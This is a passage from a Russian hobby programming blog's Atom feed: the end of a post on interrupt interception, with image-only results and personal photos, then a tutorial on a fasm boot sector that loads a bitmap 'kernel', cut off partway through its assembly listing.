&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB5zvs40iKKqxOth5SY6EKLPgcZjZd5uWlJMN1FKFHD2UyIgp7MUk0wAvrjm7VE2U13vefm_8x13nZUmPHFpn1aKs2Q_RtaDe94jMB917rQ79rqDQn1LdgSk6iLB-yh6G03hK1wy3DkJso/s1600/66645.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB5zvs40iKKqxOth5SY6EKLPgcZjZd5uWlJMN1FKFHD2UyIgp7MUk0wAvrjm7VE2U13vefm_8x13nZUmPHFpn1aKs2Q_RtaDe94jMB917rQ79rqDQn1LdgSk6iLB-yh6G03hK1wy3DkJso/s400/66645.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;размер изменился)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
а теперь главное,что мне удалось добиться используя фрэймворк одного
буткита:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2743GmYidWmnplc_vEzT93xOw5iMeTHxoE5nUemzImv6-tjWbwgKnKmhdSe-ihzUxC9oS2rlmlzmbrkE0pbdS3TpoNRYLrnq7rP1ubc5sp0gTnkTc3w707AV2jdq-_T8v5LfCSTbDNtcH/s1600/Untitled1.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2743GmYidWmnplc_vEzT93xOw5iMeTHxoE5nUemzImv6-tjWbwgKnKmhdSe-ihzUxC9oS2rlmlzmbrkE0pbdS3TpoNRYLrnq7rP1ubc5sp0gTnkTc3w707AV2jdq-_T8v5LfCSTbDNtcH/s640/Untitled1.gif&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий
человек)))&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
на последок как обычно чуть фото,я теперь возьму это в традицию)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
группа КиШ&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW1IFf9Bys_hB0sbCkVUejGVBukFmbIHLLgclvLq8fOUkvL9ynyTmplScizto3mZUwnj0-sHNqF1KtBiJ-UFmcsiUjNi9zBTYRm_XMCjBffP1E8B93X_dorkhpw-jGzn_S_pEpMg6eb6q5/s1600/IMG_20131109_200708.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW1IFf9Bys_hB0sbCkVUejGVBukFmbIHLLgclvLq8fOUkvL9ynyTmplScizto3mZUwnj0-sHNqF1KtBiJ-UFmcsiUjNi9zBTYRm_XMCjBffP1E8B93X_dorkhpw-jGzn_S_pEpMg6eb6q5/s320/IMG_20131109_200708.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&amp;nbsp;Вы любите ночь?&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GZYik_kN4HEKifh2PNkOZuYK_HX7JDvRObsWZMafhLKAWYjaiPb1Vhkawf7cUfBDhpcNJdYGrO2Ul1O4rF9Fq2SrMMD1BjSB1ZfymoDxOysKIEh-s8OymULcaGbI08Az8eC4DkjofJCw/s1600/IMG_20131118_222051.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GZYik_kN4HEKifh2PNkOZuYK_HX7JDvRObsWZMafhLKAWYjaiPb1Vhkawf7cUfBDhpcNJdYGrO2Ul1O4rF9Fq2SrMMD1BjSB1ZfymoDxOysKIEh-s8OymULcaGbI08Az8eC4DkjofJCw/s320/IMG_20131118_222051.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ub2klCSHG2lNb9qvqUYZLUlbl171_Wr0s0wX8pC2_aryoUzvoC8TDBsmmPGhwSViR697jiPUygCT82ZQr5sAwz1Ht1iCdrfz9poITfLsEeUyG-Xv3taLiBIePNwdy_KIkE2BxJmepgKp/s1600/IMG_20131207_111325.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ub2klCSHG2lNb9qvqUYZLUlbl171_Wr0s0wX8pC2_aryoUzvoC8TDBsmmPGhwSViR697jiPUygCT82ZQr5sAwz1Ht1iCdrfz9poITfLsEeUyG-Xv3taLiBIePNwdy_KIkE2BxJmepgKp/s320/IMG_20131207_111325.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
То,что пропускает мир через призму иллюзий)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRLYeXApZdLNiz6zdYNpuTh27PmIOCwHuFoT5AcQxCs_601qv4YHmGs7csce6PCIGGREc3Gl7LiRlQ2fexbDNsRDrWeLbgGVFovemu72oc6oUdBztMvXV-MUVa6DhZjNcsHu8p6O_v7SMp/s1600/IMG_20131217_210432.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRLYeXApZdLNiz6zdYNpuTh27PmIOCwHuFoT5AcQxCs_601qv4YHmGs7csce6PCIGGREc3Gl7LiRlQ2fexbDNsRDrWeLbgGVFovemu72oc6oUdBztMvXV-MUVa6DhZjNcsHu8p6O_v7SMp/s320/IMG_20131217_210432.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;рабочее место)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_QVFBkqMM1Ve3maNBB76kt-4cZfZLlho4D4OY7WCnwWKJz2Z1DOR6BuBp6NnCEp7KX5g2Asy6ovROzT7L2-yrVwfehG_SEsE1J2kf8BzIHKRFxyX9ny8xWUSNPQZci2sAJJf7MURlbC_F/s1600/IMG_20131219_164434.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_QVFBkqMM1Ve3maNBB76kt-4cZfZLlho4D4OY7WCnwWKJz2Z1DOR6BuBp6NnCEp7KX5g2Asy6ovROzT7L2-yrVwfehG_SEsE1J2kf8BzIHKRFxyX9ny8xWUSNPQZci2sAJJf7MURlbC_F/s320/IMG_20131219_164434.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/9057994383234161755/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/01/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/9057994383234161755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/9057994383234161755'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/01/blog-post.html' title='Перехват прерываний.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKqKEbB4ho9rOc3TU3oGULy7pFBSOuTx4X3ZG6-_y9Ba-Sfyld0T2EnhxDxzbC1JT3ZEM_5TbsB6-l0y0UNKjaQcztTKUee51t77-emxlQpgsHjYrpeoCgJRzdminbhn0vyiIKlEGPJl2H/s72-c/8086.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-643443492234210755</id><published>2013-10-31T19:42:00.000+02:00</published><updated>2013-10-31T19:51:18.052+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><title type='text'>простой загрузчик и ядро</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Попробуем написать загрузчик и ядро.Ядром у нас будет обычный битмап.Пишем на fasm, т.к. он позволяет устанавливать код в разных местах сегмента.Т.е. можно написать код стартующий с 7с00, а потом стартующий с 0h.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Для начала подготовим ядро.Что мы знаем о битмапе?он состоит к верху дном проще говоря,по этому и рисовать будем к верху дном.и сохранять в 256 цветах (по 1 байту как раз) и размерами 320*200 пикселей (равному режиму 0x13). получается у меня такая няша:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEietilAOdase-jHXlq0omnFFiJQcZPSoqXpPR85Db828uIyDck2f6oEI-M7h9RjhgNfEhZi5PZ9lOQrIY1otFJMxNrHUtATVxX4YVyJxq4COA6xKdvFYXU6k4rbrAqH2fNIsFqxEz3bbD83/s1600/1231.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEietilAOdase-jHXlq0omnFFiJQcZPSoqXpPR85Db828uIyDck2f6oEI-M7h9RjhgNfEhZi5PZ9lOQrIY1otFJMxNrHUtATVxX4YVyJxq4COA6xKdvFYXU6k4rbrAqH2fNIsFqxEz3bbD83/s1600/1231.bmp&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
(фуууу, слабак!)))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
далее смотрим по структуре: битмап это тупо рисунок с заголовками и палитрой.Их надо откусить.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
-Заголовок файла (BITMAPFILEHEADER)&lt;br /&gt;
-Заголовок изображения (BITMAPINFOHEADER, может отсутствовать). BITMAPV4HEADER (Win95, NT4.0) BITMAPV5HEADER (Win98/Me, 2000/XP)&lt;br /&gt;
-Палитра (может отсутствовать)&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
1-й заголовок -14 байт&lt;/div&gt;
&lt;div&gt;
2-й заголовок -40 байт&lt;/div&gt;
&lt;div&gt;
палитра - это 256 записей RGB (4 байта) что составит еще 1кб.&lt;/div&gt;
&lt;div&gt;
всего надо откусить 1078 байт. открываем в любом хекс редакторе и откусываем.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
должен получиться размер картинки 64000 байт.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
терь собсна код:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
первое загрузочный сектор.тут все как &quot;обычно&quot;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;USE16&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;org&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;7C00h&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;EntryPoint:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, cs&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cli&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ss, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ds, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;es, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;sp, EntryPoint&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&amp;nbsp;; настраиваем сегменты и т.д. и т.п.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sti&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cld&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;dx&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;; запоминаем какой диск&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 3&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;10h&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dx, dx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bx, 15&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;ax, 1301h&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;; выдаем , мол все зер гут&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bp, BootMsg&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx, BootMsgEnd - BootMsg&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;10h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;pop&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ax, 9000h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;; сегмент куда будут кидаться данные&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;es, ax&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;ah, 2&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;;2 сектор&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;al, (KernelEnd - KernelStartCode) / 512&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt; ; кол-во секторов, отведенных под ядро&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;dh, dh&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cx, 2h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;bx, bx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;13h&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: blue; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;; читаем&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jc&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Error&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
